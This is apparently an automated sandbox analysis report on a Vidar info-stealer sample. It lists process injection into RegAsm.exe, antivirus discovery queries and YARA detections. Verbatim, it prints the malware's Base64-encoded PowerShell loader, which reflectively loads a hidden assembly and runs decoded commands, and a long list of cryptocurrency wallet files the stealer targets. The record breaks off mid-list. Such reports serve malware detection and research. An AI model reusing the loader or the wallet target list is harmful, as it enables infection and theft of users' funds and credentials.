Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Q1\|
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Q1\|			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040FED2 _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

13_2_0040FED2

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 420000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63F000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: FDE008	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -command "[system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24grgvjb21wcmvzc0j5dgvzkcrjb21wcmvzc2vkrgf0yskgeyakbxmgpsbbsu8utwvtb3j5u3ryzwftxto6bmv3kchbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkcrjb21wcmvzc2vkrgf0yskpktsgjg1zllbvc2l0aw9uid0gmdsgjgrlzmxhdgvtdhjlyw0gpsbbsu8uq29tchjlc3npb24urgvmbgf0zvn0cmvhbv06om5ldygkbxmsiftjty5db21wcmvzc2lvbi5db21wcmvzc2lvbk1vzgvdojpezwnvbxbyzxnzktsgjgj1zmzlcia9iftiexrlw11dojpuzxconda5nik7icrtcya9iftjty5nzw1vcnltdhjlyw1dojpuzxcoktsgd2hpbgugkcr0cnvlksb7icrjb3vudca9icrkzwzsyxrlu3ryzwftlljlywqojgj1zmzlciwgmcwgjgj1zmzlci5mzw5ndggpoybpziaojgnvdw50ic1lcsawksb7igjyzwfrih0gjg1zlldyaxrlkcridwzmzxisidasicrjb3vudckgfsakzgvmbgf0zvn0cmvhbs5dbg9zzsgpoyakbxmuvg9bcnjhesgpih0ncg0kznvuy3rpb24gumv2zxjzzvn0cmluzygkaw5wdxrtdhjpbmcpihsnciagicaky2hhckfycmf5id0gjgluchv0u3ryaw5nllrvq2hhckfycmf5kckgicmgq29udmvydcbzdhjpbmcgdg8gy2hhcmfjdgvyigfycmf5dqogicagjhjldmvyc2vkqxjyyxkgpsaky2hhckfycmf5wy0xli4tkcrjagfyqxjyyxkutgvuz3rokv0gicmgumv2zxjzzsb0agugyxjyyxknciagicakcmv2zxjzzwrtdhjpbmcgpsatam9pbiakcmv2zxjzzwrbcnjhesagiybdb252zxj0ihrozsbyzxzlcnnlzcbhcnjhesbiywnrihrvigegc3ryaw5ndqogicagcmv0dxjuicryzxzlcnnlzfn0cmluzw0kfq0kdqpmdw5jdglvbibdbg9zzs1qcm9jzxnzihsnciagicbwyxjhbsgnciagicagicagw3n0cmluz10kuhjvy2vzc05hbwunciagicapdqonciagicakchjvy2vzcya9iedldc1qcm9jzxnzic1oyw1licrqcm9jzxnztmftzsatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zq0kdqogicagawygkcrwcm9jzxnzic1uzsakbnvsbckgew0kicagicagicbtdg9wlvbyb2nlc3mglu5hbwugjfbyb2nlc3noyw1lic1gb3jjzq0kcx0ncn0ncg0kznvuy3rpb24gq29udmvydc1bc2npavrvu3ryaw5nkcrhc2npaufycmf5kxsncirvzmztzxrjbnrlz2vypteymzsncirkzwnvzgvku3ryaw5npsrodwxsow0kzm9yzwfjacgkyxnjawljbnrlz2vyigluicrhc2npaufycmf5kxskzgvjb2rlzfn0cmluzys9w2noyxjdkcrhc2npauludgvnzxitjg9mzlnldeludgvnzxipftsncnjldhvybiakzgvjb2rlzfn0cmluz307dqoncg0kjgvuy29kzwrbcnjhesa9ieaomtu5ldiymcwymzgsmjm4ldiyncwymzismjixldizmswyndqsmty5lde5miwymzmsmjm5ldiznywyndqsmjazldizncwymjgsmjmzldizoswxnjksmtk2ldizmywyndesmjm0ldizmcwymjqsmtyzlde1oswymzmsmjqwldizmswymzesmty3lde1oswymzmsmjqwldizmswymzesmty0lde4mikncirkzwnvzgvku3ryaw5nid0gq29udmvydc1bc2npavrvu3ryaw5nicrlbmnvzgvkqxjyyxkncg0kdqokzmlszvbhdgggpsbkb2lulvbhdgggjgvudjpvc2vyuhjvzmlszsailxrlbxauymf0ig0kjgxhc3rmaw5lid0gr2v0lunvbnrlbnqglvbhdgggjgzpbgvqyxroihwgu2vszwn0lu9iamvjdcattgfzdcaxdqoky2xlyw5lzexpbmugpsakbgfzdexpbmuglxjlcgxhy2ugj146oicnciryzxzlcnnlid0gumv2zxjzzvn0cmluzyaky2xlyw5lzexpbmuncirkzwnvbxbyzxnzzwrcexrlid0grgvjb21wcmvzc0j5dgvzic1jb21wcmvzc2vkrgf0ysakcmv2zxjzzq0kdqokyxnzzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkftiexrlw11djgrly29tchjlc3nlzej5dgupdqoncirhc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqow2j5dgvbxv0kzgvjb21wcmvzc2vkqnl0zskncg0ksw52b2tlluv4chjlc3npb24gjgrly29kzwrtdhjpbmcncg0kq2xvc2utuhjvy2vzcyatuhjvy2vzc05hbwugimntzci=')) \| out-file -filepath 'c:\users\user\-temp.ps1' -encoding utf8"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -command "[system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24grgvjb21wcmvzc0j5dgvzkcrjb21wcmvzc2vkrgf0yskgeyakbxmgpsbbsu8utwvtb3j5u3ryzwftxto6bmv3kchbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkcrjb21wcmvzc2vkrgf0yskpktsgjg1zllbvc2l0aw9uid0gmdsgjgrlzmxhdgvtdhjlyw0gpsbbsu8uq29tchjlc3npb24urgvmbgf0zvn0cmvhbv06om5ldygkbxmsiftjty5db21wcmvzc2lvbi5db21wcmvzc2lvbk1vzgvdojpezwnvbxbyzxnzktsgjgj1zmzlcia9iftiexrlw11dojpuzxconda5nik7icrtcya9iftjty5nzw1vcnltdhjlyw1dojpuzxcoktsgd2hpbgugkcr0cnvlksb7icrjb3vudca9icrkzwzsyxrlu3ryzwftlljlywqojgj1zmzlciwgmcwgjgj1zmzlci5mzw5ndggpoybpziaojgnvdw50ic1lcsawksb7igjyzwfrih0gjg1zlldyaxrlkcridwzmzxisidasicrjb3vudckgfsakzgvmbgf0zvn0cmvhbs5dbg9zzsgpoyakbxmuvg9bcnjhesgpih0ncg0kznvuy3rpb24gumv2zxjzzvn0cmluzygkaw5wdxrtdhjpbmcpihsnciagicaky2hhckfycmf5id0gjgluchv0u3ryaw5nllrvq2hhckfycmf5kckgicmgq29udmvydcbzdhjpbmcgdg8gy2hhcmfjdgvyigfycmf5dqogicagjhjldmvyc2vkqxjyyxkgpsaky2hhckfycmf5wy0xli4tkcrjagfyqxjyyxkutgvuz3rokv0gicmgumv2zxjzzsb0agugyxjyyxknciagicakcmv2zxjzzwrtdhjpbmcgpsatam9pbiakcmv2zxjzzwrbcnjhesagiybdb252zxj0ihrozsbyzxzlcnnlzcbhcnjhesbiywnrihrvigegc3ryaw5ndqogicagcmv0dxjuicryzxzlcnnlzfn0cmluzw0kfq0kdqpmdw5jdglvbibdbg9zzs1qcm9jzxnzihsnciagicbwyxjhbsgnciagicagicagw3n0cmluz10kuhjvy2vzc05hbwunciagicapdqonciagicakchjvy2vzcya9iedldc1qcm9jzxnzic1oyw1licrqcm9jzxnztmftzsatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zq0kdqogicagawygkcrwcm9jzxnzic1uzsakbnvsbckgew0kicagicagicbtdg9wlvbyb2nlc3mglu5hbwugjfbyb2nlc3noyw1lic1gb3jjzq0kcx0ncn0ncg0kznvuy3rpb24gq29udmvydc1bc2npavrvu3ryaw5nkcrhc2npaufycmf5kxsncirvzmztzxrjbnrlz2vypteymzsncirkzwnvzgvku3ryaw5npsrodwxsow0kzm9yzwfjacgkyxnjawljbnrlz2vyigluicrhc2npaufycmf5kxskzgvjb2rlzfn0cmluzys9w2noyxjdkcrhc2npauludgvnzxitjg9mzlnldeludgvnzxipftsncnjldhvybiakzgvjb2rlzfn0cmluz307dqoncg0kjgvuy29kzwrbcnjhesa9ieaomtu5ldiymcwymzgsmjm4ldiyncwymzismjixldizmswyndqsmty5lde5miwymzmsmjm5ldiznywyndqsmjazldizncwymjgsmjmzldizoswxnjksmtk2ldizmywyndesmjm0ldizmcwymjqsmtyzlde1oswymzmsmjqwldizmswymzesmty3lde1oswymzmsmjqwldizmswymzesmty0lde4mikncirkzwnvzgvku3ryaw5nid0gq29udmvydc1bc2npavrvu3ryaw5nicrlbmnvzgvkqxjyyxkncg0kdqokzmlszvbhdgggpsbkb2lulvbhdgggjgvudjpvc2vyuhjvzmlszsailxrlbxauymf0ig0kjgxhc3rmaw5lid0gr2v0lunvbnrlbnqglvbhdgggjgzpbgvqyxroihwgu2vszwn0lu9iamvjdcattgfzdcaxdqoky2xlyw5lzexpbmugpsakbgfzdexpbmuglxjlcgxhy2ugj146oicnciryzxzlcnnlid0gumv2zxjzzvn0cmluzyaky2xlyw5lzexpbmuncirkzwnvbxbyzxnzzwrcexrlid0grgvjb21wcmvzc0j5dgvzic1jb21wcmvzc2vkrgf0ysakcmv2zxjzzq0kdqokyxnzzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkftiexrlw11djgrly29tchjlc3nlzej5dgupdqoncirhc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqow2j5dgvbxv0kzgvjb21wcmvzc2vkqnl0zskncg0ksw52b2tlluv4chjlc3npb24gjgrly29kzwrtdhjpbmcncg0kq2xvc2utuhjvy2vzcyatuhjvy2vzc05hbwugimntzci=')) \| out-file -filepath 'c:\users\user\-temp.ps1' -encoding utf8"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_6CD8B341 cpuid

13_2_6CD8B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: _EH_prolog,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

13_2_0040EA01

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040F870 _EH_prolog,GetSystemTime,

13_2_0040F870

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040E8E7 GetProcessHeap,HeapAlloc,GetUserNameA,

13_2_0040E8E7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040E9AE GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

13_2_0040E9AE

Source: C:\Users\user\Desktop\yU3icg18lq.exe

0_2_00403532

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Files%\Windows Defender\MsMpeng.exe
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.powershell.exe.61cabb8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.61cabb8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7696, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet 